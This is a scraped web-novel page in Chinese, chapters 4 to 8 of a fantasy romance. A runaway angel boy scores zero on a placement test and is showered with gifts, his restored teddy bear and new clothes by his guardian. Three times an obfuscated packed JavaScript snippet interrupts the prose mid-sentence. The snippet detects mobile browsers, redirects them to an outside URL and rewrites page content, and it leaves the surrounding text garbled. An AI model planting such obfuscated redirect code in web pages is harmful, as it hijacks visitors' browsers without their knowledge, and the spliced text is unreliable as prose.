凌岁虞满脸抗拒,整个人贴在门上,一只手还被人死死拽着,像是要被人强行拐回家的小流浪。 “没有人告诉我,来这里要做试卷。”他控诉,明明昨天大家还一起玩得那么开心,转眼间就把他卖了,没有一个人告诉他会有突击测试。 如果他早知道会有这一出,他一定,一定会在路上看看课程的。 绝不会两手空空,脑袋也空空地到这里来。 陆琰修端坐在一边,膝盖上放着一台笔记本电脑,他戴着防蓝光眼镜,眉头紧锁,不断地点击鼠标,好像在忙什么大事。 从头到尾都没有往这边看一眼,凌岁虞有点沮丧,他自己都有点说不清楚现在的心态,又想让人关注,等人真的看过来了又会别扭。 他自暴自弃地说:“不要拉我去做卷子,我都不会做,我没有学过。” 凌岁虞在天族领地摸爬滚打这么多年,就没能成功在校园里待超过三天,残疾的翅膀是血脉低劣的标志,他每次入校,还没来得及融入团体,就会成为那些所谓血脉高贵的纯血天使欺负的对象。 久而久之,他干脆就不去学校了。 是一条罕见的义务教育下的漏网之鱼。 陆琰修点鼠标的手指突然顿住,抬起头来看了这边一眼,解释:“不用担心,不是看你笑话,是给你摸个底,好去帮你联系学校,你还没 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凌岁虞恶狠狠地盯着手肘下压着的卷子,恨不得把这卷子盯出花来,密密麻麻的黑色字像是蚂蚁,在白纸上爬来爬去,他一个都捉不住。 悲伤的小天使,不仅没有手机,不能和哥哥聊天,还得苦大仇深地写他一窍不通的卷子。 他烦得咬了咬笔盖,尖尖的虎牙在上面留下了细微的凹陷痕迹。 陆琰修像是头顶上长了双眼睛,突然开口。 “凌岁虞,嘴巴松开,不许咬笔盖。” 凌岁虞被突然点了大名,吓得笔都要掉了,人都坐得笔直,他低头看着卷子上简洁但晦涩的题目,开始努力编造着答案,把脑海里能想到的一切统统都写上去,整张卷子都写得满满当当,一个缝隙不留。 旁边名义是监工实则苦命干活的几个大小伙子看了一眼,没忍住对视,无声地哇了一声,彼此怂恿,没忍住凑过来,站在他后方低头看了一眼。 一群人顿时化身石像,嘴巴张大,目瞪口呆。 凌岁虞敏感地一扭头,哼道:“有什么问题吗?” “没有,”昨天说给他奶糖的男生萧羽摸了摸鼻子,真情实感地夸赞:“觉得你厉害。” “真的吗?”凌岁虞眼睛一亮,信心倍增,他没有想过自己竟然还有这种水平,他是真的在瞎写啊,没想到还得到了学霸的认可。 大家齐齐点头。 凌岁虞开心地低头趴在桌子上奋笔疾书。 旁边人推了一把萧羽,瞪他,问:“你刚说什么呢,怎么能骗人呢,到时候帮忙改卷子,成绩不好看,伤了小朋友的自尊心,哭了你去哄。” 萧羽尴尬地挠头,差点把头发全薅下来,他满脸绝望,无力地解释:“我其实是觉得,有这种自创数学语言的能力,也是一种天赋,确实超级厉害啊,一般人还没有他能编呢。” 半个小时后,凌岁虞拿着卷子自己对了答案,陷入了沉思。 “所以,我是考了0分对吗?” 5. 《如何当一个好爸爸》 没人敢说话,他们也没有想过,竟然会有0分这种恐怖的成绩出现在面前。 明明他们还特地在开头加上了两倍的选择题,还有几个正式考试根本不会考的判断题。 就这样凌岁虞还能够完美地避开所有正确答案,也算是一种另类的优秀。 萧羽斟酌着想要安慰一下肯定被打击了信心的小朋友,却没想到,捧着卷子的人先发问了。 “你们的答案真的没有错误吗?” 凌岁虞提出疑问,“我听说,考试基本不会出现零分。” 啊这,几人面面相觑,嘴巴张了又合。 然后萧羽就被人踹了一脚屁股踉跄着栽了出去。 “让这个哥哥给你解释哈,我们先去忙工作了,不然等会儿中午午休时间要加班了。” 萧羽悲愤地瞪了一眼有难不同当的同事,伸手将凌岁虞手中的卷子接了过来,低头认认真真地看起了答案,试图用他比鹰还优秀的视力找出得分之处。 凌岁虞仰着头盯着他,眼睫毛不停地抖。 完蛋了,他好像真的很在乎这个成绩。 萧羽额角慢慢渗出细密的汗,他舔了舔唇,拿纸的手都在微微颤抖。 救命啊,谁来拯救他于水火之间。 他颇为僵硬地抬了抬头,眼睛余光扫到了坐在一旁的陆琰修,原地已经绝望的心突然活了过来,怦怦直跳,怎么就把队长给忘了呢。 虽然不知道队长一大早来这里,坐着摆弄电脑不停地翻监控视频是做什么,但看这已经放松的肩,微勾的唇,妥妥是事情已经办好了。 这种时候队长最好说话了。 想到这里,萧羽飞一般扑了过去,连滚带爬地蹿到陆琰修旁边,一把将卷子塞进了他的怀里。 “队长,交给你了,我还有事要处理,不想熬夜加班,就先走了。” 说完,他头也不回朝着大门跑去,绕过凌岁虞的时候还不忘打声招呼。 “让队长帮你看,他是高才生,可厉害了,你就放心吧,绝对一分都不会给你漏掉,我先去忙了,天热,等下午给你带冰激凌,吃一口冰冰凉超级爽。” “对啦,你要什么口味。” 萧羽扒拉着门,急匆匆地问:“香芋,草莓,蓝莓,还是原味?” 凌岁虞被他口中的冰激凌诱惑着喉结微动,他小心翼翼朝陆琰修那边看去,眼神充满期待,用那种非常小但非常可怜的声音问:“我可以吃吗?” 陆琰修转笔的手一停。 他另一只手还压着那张分数凄惨的卷子,上面由凌岁虞自己写上的红通通的零分格外显眼。 “只能买小份。”他没有阻止。 凌岁虞开开心心地原地蹦了一下,随即凑到门口跟萧羽嘀嘀咕咕询问起了口味。 一番讨价还价后,他心满意足地得到了一份最贵的豪华版三拼冰激凌。 他转头,脸上还挂着笑,想要跟陆琰修分享他跟萧羽讨价还价的过程,却看见男人正低头,点着手机屏幕,又在跟那个熟悉但是看不清名字的微信联系人发消息。 他脸垮了下来,站在原地,犹豫着要不要走过去,万一是什么很重要的人呢,毕竟现在是上班时间,陆琰修应该很忙。 陆琰修又发了消息。 陆琰修皱眉了。 陆琰修他竟然点了语音!凌岁虞瞪大了眼睛,他这几天都没有见过陆琰修给人发语音,这个人是第一个,是有什么特殊的原因吗。 “早点过来。” 陆琰修淡淡发出消息,没看对面人的回复,又将手机放到一边,他朝凌岁虞勾了勾手指,示意他到自己身边来。 凌岁虞后知后觉想起了自己为什么来这里,顿感心虚,小步挪到了他旁边。 头快要埋到桌子下面去了。 “头抬高点,”陆琰修单指按着试卷一角,把这张涂满了的纸放到了少年面前,询问:“这张卷子,你做的时候,觉得有把握的题指给我看看。” 凌岁虞勉强地开始上下扫卷子。 明明刚做的时候还信心爆棚,觉得自己做啥啥对,现在在男人目光下,却一下子觉得这题陌生得可怕了。 他支支吾吾,磕磕巴巴地答:“现在感觉都不会了。” 陆琰修无奈又问:“那有思路的题呢?” “我全都有思路,”凌岁虞委屈巴巴,他瘪着嘴,手指搅在一起,认真地说:“没有思路,我怎么能填满这张卷子呢。” “所以我究竟多少分呢。” 陆琰修温和地说出最绝情的话,“零分。” 凌岁虞噤声了。 他有点紧张,“那我还能吃冰激凌吗?” “当然可以,”陆琰修笑道:“我看起来是那种说话不算话的人吗,让你吃你就吃。” “这只是一次小小的测试,考多少都没事,不过,按照你的成绩,你肯定不能去读高一的尖子班,我安排你到普通班学习,好不好?” 凌岁虞点头,满脸无所谓,他不认为他能在学校待多久,所以去哪个班级都无所谓。 商量完这个,陆琰修就放手让凌岁虞去旁边的沙发上坐着玩,怕他无聊,还特地把一部新买的手机放到了他旁边。 凌岁虞好奇地戳了戳这发光的小东西。 “我可以玩吗?” 陆琰修重新打开电脑,听见这问话微微愣了下,解释:“专门给你买的,归你了,想做什么都可以。” “我不会玩怎么办,”凌岁虞仰头,他有点迫切地想要和陆琰修更亲密一点,这样之后目的败露了,最多也就是被赶走,不会被教训,他小声请求:“你会来教我的是吧。” 陆琰修没有说话。 他的目光凝在凌岁虞不断闪烁的眼上,总觉得有几分不对劲。 但他还是没有深究,只是轻飘飘地放了过去,然后承诺:“你先玩,不会的可以先问智能助手,等我有时间了就来教你。” “好哦。”凌岁虞明显高兴了一点,躺在沙发上,举着手机玩了起来,他还是不太会操作,没点进任何娱乐软件,手划了两下,点进了萧羽专门下载到里面的游戏里。 一款单机消消乐。 凌岁虞玩得很认真,最开始因为每次消除的声音太吵,还皱了皱眉,满脸为难,怕打扰到陆琰修工作,直到发现这手机可以静音,才满足地开始玩起来无声小游戏。 陆琰修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333805|167721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唇角不自觉地牵了一下。 他盯着电脑屏幕,任由自己走神,眼神飘着飘着就到了凌岁虞身上去。 看他晃动的脚,还有头上摇摆的呆毛。 工作一下子变得不有趣了。 还是耳机里传来的声音把他的思绪拽了回来,他抬手摁着耳机,接通了电话。 “陆队,你要的东西我给你送来了,是直接拿到你办公室去还是怎么找。” 陆琰修看了眼还沉浸在小游戏中的凌岁虞,站起身来,淡淡道:“我来拿。” “好嘞,那陆队我能留一会儿不,让我也见见小朋友呗,大伙儿都见过了,把我一个人落下了多不好。” 陆琰修没有多思考一秒,直接拒绝。 “过些日子再说,他怕生。” 他开门出去,没注意到刚刚在沉浸在游戏里的凌岁虞不知何时抬起了头,目送着他出去。 凌岁虞把手机放到一边,盯着大门发呆,他当然可以偷偷跟上去,但他又怕这样做陆琰修会生气。 最后他也只能够待在办公室里胡思乱想。 他有点生气,他哪里怕生了,他明明表现得很好,大家都很喜欢他,陆琰修为什么不让他出去见电话那头的人。 陆琰修出了办公室,先去看了眼待客厅,果不其然,里面空无一人,他没有丝毫惊讶,转身又到了萧羽他们办公的地方。 那个来送东西的人已经坐到了萧羽的桌子上,神采飞扬地在说些什么,看起来很是激动。 “宋南星,他们要是今天的活干不完,加班费你出。”陆琰修淡淡地道。 宋南星舞动的手和脚同时僵住,差点一下子从桌子上摔下来,还好萧羽扶了他一把,他才不至于帅脸着地。 他转头,没好气地翻了个白眼,道:“不是吧陆队,你就这么对我,我可是特地来给你送东西的,为此我可是付出了加班一小时的代价,你不仅不感谢我,竟然还想从我兜里取钱,过分了啊。” 陆琰修不为所动,他扫了一圈,一眼看到了放在旁边的死亡芭比粉配色礼袋,眉梢一跳。 “谁让你用的这种礼袋。”他甚至有点不想过去拿。 “没谁啊,我自己,你不觉得这种配色很少男心吗,”宋南星蹦过去一把拎起礼袋,拿过来塞进了陆琰修的手里,拍了拍让他拿紧,语重心长道:“别弄掉了,里面东西可多了。” 陆琰修突然有了点不好的预感。 他和宋南星算是一起长大的,也了解这人跳脱又神经的性子。 “除了我要你带的东西,还有什么?”他尽量镇定地询问。 宋南星一拍手,眼睛发光,大声:“当然是我这么多年,博览群书,从中找到的精品。” 陆琰修低头翻了翻袋子。 几本封面花里胡哨的书躺在里面,他拧着眉两根手指捏住拿起来看了看书名。 《预防早恋小妙招》《如何当一个好爸爸》《孩子青春期叛逆怎么办》。 陆琰修额角青筋暴起,说话声有点沉。 他转头,看宋南星嬉皮笑脸的样子,突然觉得手有点痒,他很认真地强调。 “宋南星,我不是想做他爸爸。” 6. 熊熊回归 “啊,都差不多差不多。” 宋南星探头看着书上面的字,摸了摸鼻头,立刻伸手在封面上一抚,原本光滑的书封边缘翘起了一点,再伸手一拽,就全都撕了下来。 他把书往上一抬,道:“你看看。” 陆琰修沉吸一口气,垂目。 崭新的封面上赫然几个大字——《如何做一个好哥哥》。 “封面变了,内容呢?” 宋南星摇头晃脑,答:“这怎么做好一个家人,道理都是互通的,将就看看,你要是不满意,我再帮你把原来的名字贴回去。” “不用了,”陆琰修知道他不着调,无奈地捏了捏眉心,拎着袋子往回走,不忘提醒:“叔叔阿姨叫你这几天抽空回去吃饭。” “你要和我一起吗,反正明天也要去我那里做体检,”宋南星邀请:“顺便把你家小朋友带上,我爸妈肯定很喜欢他。” 陆琰修脚步一顿,思考片刻,还是拒绝了宋南星的热情邀约。 “过些日子吧,还是太急了。” 凌岁虞在房间里是等得望眼欲穿,手机都不香了,游戏停留在一个页面太久,已经出现了指导,疯狂告诉他下一步该怎么走。 急什么急,他都没急着出去找人。 凌岁虞低头,就是不按照教他的路线走,一通乱打,小图标连成排消掉的声音噼里啪啦响个不停,吵得不得了。 很快就剩下最后一步。 他没犹豫,闷闷地随手划掉了角落里的一个图标,失败的音乐传出来的时候,门恰好被推开。 陆琰修保持着推门的姿势,仔细听了听游戏音效,他没急着把东西立刻放下来,而是目标明确地走到了凌岁虞的旁边,单手撑着沙发,半俯下身去看游戏界面。 他温柔地询问:“怎么了,游戏打不过去吗。” 凌岁虞慌忙收回目光,去看自己手心里的手机页面,他急着做出一副自己在认真玩游戏的样子,手指一通乱点,恰好点中了看广告,领道具复活的那个地方。 小广告播放,夸张而又激昂的人声回响在办公室里。 凌岁虞脸一下子就红透了。 “下次不用看广告,”陆琰修从兜里抽出手机,划开屏幕,点开了微信,向一个纯白头像的联系人转账,点数字时手都没有抖一下,等钱发出去了,他说,“可以买道具,钱不够了跟我说。” 凌岁虞这边适时跳出一条微信消息。 【请收款200000元】 好,好多钱。 贫穷的小天使没忍住把脸往前挤了挤,揉揉眼睛,恨不得钻到手机里把这几个数字来来回回数上几百次。 一分钟广告播完了。 凌岁虞手一抖,手机从他的手里掉下来,砸到了他的大腿上,上下弹了弹。 痛,但格外真实。 他满脸恍惚,不敢置信道:“这都是我的钱吗?会不会太多了。” 陆琰修噙着笑意,把快要滑到地上的手机捡起来放回了他的手心。 “我可能比你想象的要富有一点,不用担心跟着我过苦日子。” “这是这个月的零花钱,你可以用于除生活学习用品之外的消费,但我们说好,如果这些不够花,想要额外的钱,就得帮我干活自己赚,怎么样。” 凌岁虞握紧手机,飞快地点头。 有钱不赚真傻子。 只是,他突然发现,他对陆琰修的了解还是太少了,知道的所有信息都是道听途说,也不知道是真是假,才相处了短短几天,他就知道了许多不可思议的事情。 就像这突然转到他微信的钱一样令人惊讶。 一个W市异能局的队长竟然会这么富有吗,凌岁虞眨了眨眼睛,他听说陆琰修也只是刚刚从沉睡中苏醒没几年,他是靠什么赚钱的。 但他没来得及深想,陆琰修新递到他手边上的袋子吸引了他全部的注意力。 “这又是什么?” 凌岁虞吸了吸鼻子,长期流浪,经常要在垃圾场附近捡东西,他的嗅觉有点不太灵敏。 即使是这样,他都隐隐约约闻到了一股甜味。 是糖果吗,还是蛋糕,或者是其他他没有见过没有尝过的新东西。 只是想一想,他口腔中已经自动分泌起了唾液,纯粹是馋的。 “你可以打开看看,希望你喜欢。” 陆琰修没有走开,他抬手看了一眼表,不紧不慢地靠近,坐到了凌岁虞的旁边,看起来是要陪着他,两个人靠得很近,只隔了半个人的距离。 他今天罕见地换了一套休闲服,浅蓝色的,眉眼放松时看起来很温柔。 凌岁虞不是很害怕,但莫名其妙的紧张,飞快地偷偷看一下陆琰修,然后又快速地收回眼神,过一会儿,又瞥一眼。 小动作很多,看起来很不自在。 几分钟后,陆琰修又自然地站起来,拿起桌上的杯子往门外走。 凌岁虞犹犹豫豫地叫住他,小声问:“你要去哪里呀,我等你一起拆呀。” “你先拆,我有点困,”陆琰修朝他指了指旁边的门外的茶水间,举着杯子解释:“我想去泡杯咖啡提提神。” 原来如此,凌岁虞肩膀放松下来,挣扎一秒就决定先拆礼物了,没了陆琰修在身边,他可以肆意地释放自己的情绪,就算礼物不是很喜欢,也不用担心不小心露出失望的表情啦。 装,他也可以装得很开心超喜欢。 他小心翼翼地打开了袋子,很快轻轻咦了声,几个透明袋子压在最上面,里面是各种各样的糖果,蓬松柔软的是棉花糖,五颜六色的是糖豆,还有大白兔奶糖和旺仔奶糖。 中间最小的一包更特别,放着几块雪花酥,好像是手工制作的,有点大小不均,但从侧边可以看出,里面加了特别新鲜特别大的水果,草莓,芒果都特别诱人。 好喜欢。 凌岁虞轻轻地捏着袋子边缘,把它们拿了出来,放到桌上一个接一个列着排好,低头又在袋子里发现了小蛋糕。 巧克力的,上面还用奶油挤了个小天使的图案,脸蛋圆圆的,嘴角勾得高高的。 接着还有很多杂七杂八的东西,纪念公交卡,新鲜出炉的学生证,一小杯常温奶茶…… 摸到最下面,凌岁虞睫毛抖了抖,他没有第一时间将那团毛茸茸给拿出来,而且从头到尾仔仔细细摸了个遍。 圆圆的耳朵,只剩下一只眼睛,左脚的地方是空空的,肚子是软软的。 他一把将袋子扯了下来,迫不及待地把脸埋进了这团毛茸茸的身体里。 几乎不能克制的,他发出了轻轻地呜的一声。 不知何时回来的陆琰修看着这一幕,轻叹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333806|167721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一口气,将手中的一杯清水放到桌上,他走过来,抱住凌岁虞,安抚地顺着他的头发。 “不哭了,不是找回来了吗?” 凌岁虞没有抬头,他声音还有点哭腔,软软的,问起话来像是在撒娇。 “你从哪里找到它的,是不是花了好长时间。” 陆琰修耐心地一个一个回答。 “在一个小朋友那里找到的,有人捡走了小熊,把小熊十块钱卖给了他,我把钱还给了他,然后带他去玩具店选了一套新玩具。” “昨天晚上你才告诉我的,我现在已经拿到手了,所以没有花很长时间。” 凌岁虞后知后觉,他小声道:“是你刚刚见的那个人把东西送过来的吧,我应该出去谢谢他的。” 陆琰修淡淡道:“明天谢也不迟,入学要有体检报告,我们明天去他开的诊所做检查。” 凌岁虞的感谢顿时哽在喉咙处。 “现在心情好点了吧,”陆琰修取出手帕,擦干小天使脸颊处的水渍,温声提议:“小熊回来了,没来得及换的眼睛也该给他缝上去。” 凌岁虞觉得有道理,用力点了点头。 他把小熊拿起来,嗅到了它身上香喷喷的味道,像是某种洗衣液,很熟悉。 陆琰修把倒在地上的袋子捡起来,摸了摸,取出了针线,还有一只已经半加工过的小熊腿,里面塞着白白的棉花。 他把这个递给凌岁虞。 “这个可以做小熊的左腿。” 凌岁虞乖乖接过,捏着针线,笨拙而又谨慎地处理起了小熊的身体。 有点丑且歪曲的针脚,皱皱巴巴的小腿,让这个逐渐变得完整的小熊有几分特别的可爱。 “缝好啦!”凌岁虞高高举起小熊,把它对着陆琰修晃了晃。 陆琰修眯了眯眼睛,塑料扣子亮亮的很好看。 “超级无敌感谢你,”凌岁虞抱着小熊问:“帮我做了这么多事,你好辛苦,一定很累吧。” 陆琰修身体素质超群,刚清醒了片刻,其实并没有什么疲惫感了,不过,他看着凌岁虞的脸,突然改口:“有点累,是不是该给我点奖励。” 凌岁虞听见这话,觉得很有道理,不住地嗯,他刚刚流了点泪,眼睫毛都湿漉漉的,衬得眼珠子黑亮亮的,很清澈。 “你说,我马上给你奖励。”他语气很坚定。 陆琰修没提过分的要求,指头点了点桌上摆放得整整齐齐的点心,道。 “分我一小块雪花酥,好不好?” “好,”凌岁虞蹲下来,认认真真把每个口味的雪花酥都挑了一个出来,全举到了陆琰修面前,“你喜欢可以全部拿走。” 陆琰修摇了摇头,挑了个草莓的走。 “这是宋姨专门给你做的,每个新来的人都会有一份,你的就得留着自己吃。” “那我还有什么可以做的吗?”凌岁虞迫不及待地追问。 “当然有。” 陆琰修把已经被凌岁虞遗忘的试卷拿过来,放到他面前。 “乖乖去学校,好好学习,下次考试,考出比这个高的分数。” “1分也行?” “1分也行,”陆琰修无奈地求:“凌岁虞小朋友,努努力,争取不要给老师叫家长的机会。” “我不想戴口罩和帽子出门。” 7. 刷我的卡 叫家长,听起来就很羞耻,他才不会让陆琰修有机会去体验一把。 凌岁虞心里这么想,打算摆出一副很乖很听话的样子,但却控制不住自己做些小动作。 莫名其妙的,他又开始去盯陆琰修的脸,过了会儿他推翻了刚刚的想法。 其实叫家长也很不错。 起码陆琰修在人类眼中,算得上是难得一见的顶级高富帅,拉出去见人,也是倍有面子的,有这样的家长撑腰,就没人敢欺负他了。 而且,连这种丢脸的事都愿意做,岂不是说明他在陆琰修心里很重要。 抱着这样的念头,凌岁虞谨慎地没有答应陆琰修这个他也许做不到的请求,承诺:“我会尽量的,不出意外的话,你应该是不会有这种特别体验了。” 那出了意外会怎么样,两人对视一眼,无需多言便知道结果。 陆琰修揉了揉眉心,似乎有点无奈,可即使是这样,他也没有半点生气的迹象。 脾气也太好了。 凌岁虞都有点后悔自己骗他了,也许他用最正常的方式出现在他的面前,也可以得到帮助。 “明天要去医院体检,晚上要禁食,要现在出去买冰激凌吗?” 陆琰修低头拨弄了下手表。 他还记得萧羽出去前答应给凌岁虞带的冰激凌。 “要!” 凌岁虞毫不犹豫地应是,他说话有点多,嘴巴干干的,舔了舔唇,抱起桌上的常温奶茶,轻轻吸了一口,细细品味了一番,小声嘀咕。 “没有昨天冰的好喝。” 陆琰修靠过来,帮他把略长的袖口卷起来,刚好露出手腕。 他用手比划了一下长度,若有所思道:“买长了,等会顺便去一趟商场,试试衣服,不合身的回去整理一下都捐了。” 等敲定了行程,他才不紧不慢地解释。 “特地给你换的常温的,冰激凌加冰奶茶,一起喝容易肚子痛。” “所以不要想着去茶水间加冰块,我让萧羽把门锁起来了。” 凌岁虞的念头被猜中,顿时心虚地撇头,卷子还摊在他面前,他飞快地扯过来,拿到身后揉成一团,毁尸灭迹。 “知道了,我会乖乖的啦。” “希望你不是说说而已。” 陆琰修慢步朝门口走去,凌岁虞紧紧跟在他的身后,头也不偏。 即便如此,在路过茶水间的时候,他的后衣领还是被拽住,一股不容挣扎的力量把他拉到了走廊的另一边。 这下是无论如何也碰不到茶水间了。 凌岁虞震惊地瞪大眼睛,不敢置信地盯着陆琰修,男人看起来很平静,面不改色,只是拉人衣领的手不曾放松。 他根本就没有听进去他的承诺! 凌岁虞气成河豚。 他心里嘀咕着这种事都不相信他,也太过分了,不能太轻易地原谅陆琰修,他要道歉。 于是,去商场的路上,凌岁虞非常克制地管住了自己的嘴巴,不管陆琰修跟他说什么,他都坐直身子,双手搭在膝盖上,目视前方。 很听话,很乖。 陆琰修眼神动了动。 “不晕车吗?” “不晕,我很好。” “要听音乐吗?” “不听。” “那你要……” “不要。”凌岁虞扭过身子,瞪过来,眼珠子滴溜溜转个不停,就是不正视陆琰修。 陆琰修隐隐猜到接下来的话不是什么好话。 “安静点,开车,专心!” 好可爱,陆琰修握方向盘的手紧了紧,差点就没忍住松手去捏人脸蛋了。 只是如果真的这样做了,自以为很凶的小朋友肯定会炸成蒲公英,恨不得立刻被风吹走一去三千里,想到这里,他有点遗憾地啧了一声。 余光瞥见刚刚还趾高气扬的小朋友身子好像抖了抖。 是车里太冷了吗。 陆琰修没有多想,顺手开了空调,暖风呼出,扑在脸上。 凌岁虞把头埋了埋,吸了几口不新鲜的空气,脑袋也晕了。 他不敢去看陆琰修现在的脸色。 竟然都啧了,肯定是很生气,他到底刚刚做了什么蠢事,寄人篱下还作来作去的。 还是陆琰修昨天态度太好了,让他产生了这是个温柔的可以蹬鼻子上脸的对象的错觉,下一次,下一次他绝对不会犯这种错误了。 进商场时,凌岁虞脸还是鼓鼓的,一幅“我不高兴,快来哄我”的姿态,但手已经很诚实地伸过去,怕被人甩开一样的小心翼翼地捏住了陆琰修的袖口。 陆琰修不用回头就感受到了袖口处传来的轻微拉力,他又冒出想要把人揉搓一通的念头了。 可爱,可爱。 两人各怀心思,走路都在出神。 凌岁虞惦记着他没能吃到嘴里的冰激凌,他眼睛尖,轻轻松松就从一楼众多门面中找到了那家据说特别好吃的冰激凌店。 海报上,蛋筒上几颗圆圆的五颜六色的小球看起来是那么诱人。 凌岁虞还没靠近都想要咽口水。 而且只要9.9就能买两个不同的口味,它价格甚至不到两位数。 他已经提前开始想自己应该买什么口味的冰激凌了,但出门前说好要带他买冰激凌的人却没有停下脚步,直直地从店门口走了过去。 凌岁虞的脚步顿住,一时间脑子里飞过了很多东西,最后只能沮丧地跟上。 陆琰修还是生气了,他的冰激凌没有了,那衣服还会有吗,手机里的钱还能不能花,他不会把手机也收回去吧,毕竟是他的东西,他可以想收回去就收回去。 可下一秒走进的服装店的装潢又让他怀疑自己。 店员小姐姐小哥哥很有礼貌,礼仪很优秀,翻看的衣服很有质感看起来很贵,而陆琰修报了个尺码就让人全部拿一份,挥霍钱财的姿态也很帅气。 凌岁虞站在原地,大脑空白。 他懵了片刻,在男人转身的时候一把拽住他的手,疯狂摇头,坚定道:“我不需要这么多,我穿不完的,你不要乱花钱。” “你可以都试试,”陆琰修反握住他的手,另一只手搭在他肩膀上,握着他的肩膀把他带到镜子前,下巴微抬,示意他去看旁边堆放的衣服,温声:“这些都是新款,适合你这个年龄段的少年穿,不喜欢的单独放一边,到时候洗干净捐出去就是了。” 太豪了。 凌岁虞听出了他话里隐藏的意思,只要是他碰过的衣服,都会买下来,是不允许其他人再碰的。 一天就负债这么多,长久下来那还得了,目的暴露那天不就死定了。 凌岁虞更加坚定地拒绝了陆琰修的提议。 他说:“我不需要那么多,这么多种风格的衣服,我挑喜欢的买两件就好了。” 不等男人皱眉拒绝,凌岁虞慌张地继续补充,顺带拍了拍马屁。 “而且我想要独一无二的定制的衣服,哥你对我这么好,肯定会带我去做衣服的对吧,到时候我就穿那些,所以这些就不买了。” “可以。”陆琰修眉眼一松,应了下来。 凌岁虞肉眼可见地高兴了起来,省下一笔钱,对于小财奴来说可是天大的开心事。 他一蹦一跳地跑到那堆衣服旁边,认真地挑起了衣服,挑的非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333807|167721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常认真。 兴许是在外流浪过的缘故,凌岁虞偏爱选一些颜色深,方便换洗的衣服,穿起来酷酷的,配上他的脸蛋,看起来有几分臭屁的感觉。 不像是叼着烟的不良少年,而是咬着棒棒糖模仿大人装酷的中二期小朋友。 凌岁虞还特地挑了款墨镜,压在脸蛋上遮住了半张脸,他双手环胸,脚步稳重,走到了陆琰修面前,扬着下巴,故作深沉地询问:“好看吗?” 陆琰修嘴角勾起,毫不吝啬夸奖,而且还格外的真诚,听不出半点假意。 “很好看,炫酷,让你看起来有一米八,戴上头盔可以去参加机车比赛。” 说到这里,陆琰修似乎思考了什么,很快道:“刚好我有个朋友懂这个,过几天给你弄一辆机车回家玩,喜欢骑的话请老师带你训练。” 凌岁虞的嘴角微微下去了一点。 莫名其妙,他有了种被学习统治的恐怖感觉,怎么这都能扯上学习,还是机车。 他零分的卷子的问题还一点都没有解决呢。 没想到陆琰修竟然是催学机器,凌岁虞隐晦地打量了一番他,突然就接受了这个设定。 他这时候才发现,陆琰修竟然有一种独特的人类身上的班味,不仅如此,还透着一股卷王的气场。 小天使在大魔王的温柔声中,稀里糊涂地答应了上后面的一系列课外活动课程。 大魔王的劝学能力,恐怖如斯。 凌岁虞清醒过来,实在不愿意再接受摧残,连忙道:“我买好了。” 陆琰修扫了一眼他话里黑黑灰灰的衣服,接过来就往付款的地方走。 凌岁虞乖乖坐到了旁边的沙发上等待。 只是他没看到,就这短短一两分钟的路程,陆琰修手里的衣服就成倍增加。 红色外套,蓝色卫衣,甚至还拿了件粉色的T恤衫,上面印着个带心的英文字母。 最后压在上面的是一件棕色的小熊睡衣,毛茸茸的看起来就很舒服。 陆琰修拿上这些,脸上才浮现出了满意的神情。 他放下衣服,准备付款。 凌岁虞有点无聊,时不时还去看一眼冰激凌,馋得不得了,默默思考着耍赖撒娇让陆琰修带他去吃的可能性。 没等他想明白,店员小哥的声音就把他吸引了过去。 “先生,一共是7万元,请问您怎么支付呢?” 凌岁虞瞳孔一震,立刻站了起来,他刚就买了两件衣服吧,怎么就这么贵了。 7万元,都够他买7070个冰激凌还剩几块钱,他一天一个要吃20年才能吃完。 现在就够两件衣服。 他不想买了! 陆琰修却毫不在意,取出钱包抽了张卡递给店员。 “刷卡,顺便帮我办个会员,以后出新款了就送一份到这个地址,钱从卡里划。” 还没说完,他肩膀一沉,偏头一看,是凌岁虞扑过来挂到了他的背上。 细看小朋友眼睛里都泛着水光。 陆琰修不明所以,微急道:“怎么了?” 凌岁虞控诉:“为什么不给我买冰激凌。” 陆琰修一愣,解释:“我刚有点走神没看到冰激凌店,本来想回去再给你买的。” “钱,你花了好多钱给我买衣服,但却没有给我冰激凌,冰激凌只要9.9,它只要9.9……” 陆琰修身子一僵,生怕凌岁虞会哭。 他连忙道:“买,给你买一百个,一千个,一万个。” 凌岁虞目光幽幽地盯着陆琰修的手。 陆琰修一瞬间福至心灵。 “刷我的卡。” 8. 体检奖励 凌岁虞如愿吃上了他的冰激凌,还不忘帮在工作室苦苦工作的大家一人带了一份。 萧羽看着这冰激凌差点激动地掉眼泪,他夸张地捧过去,勺了一口咽下去,幸福地眯起眼睛。 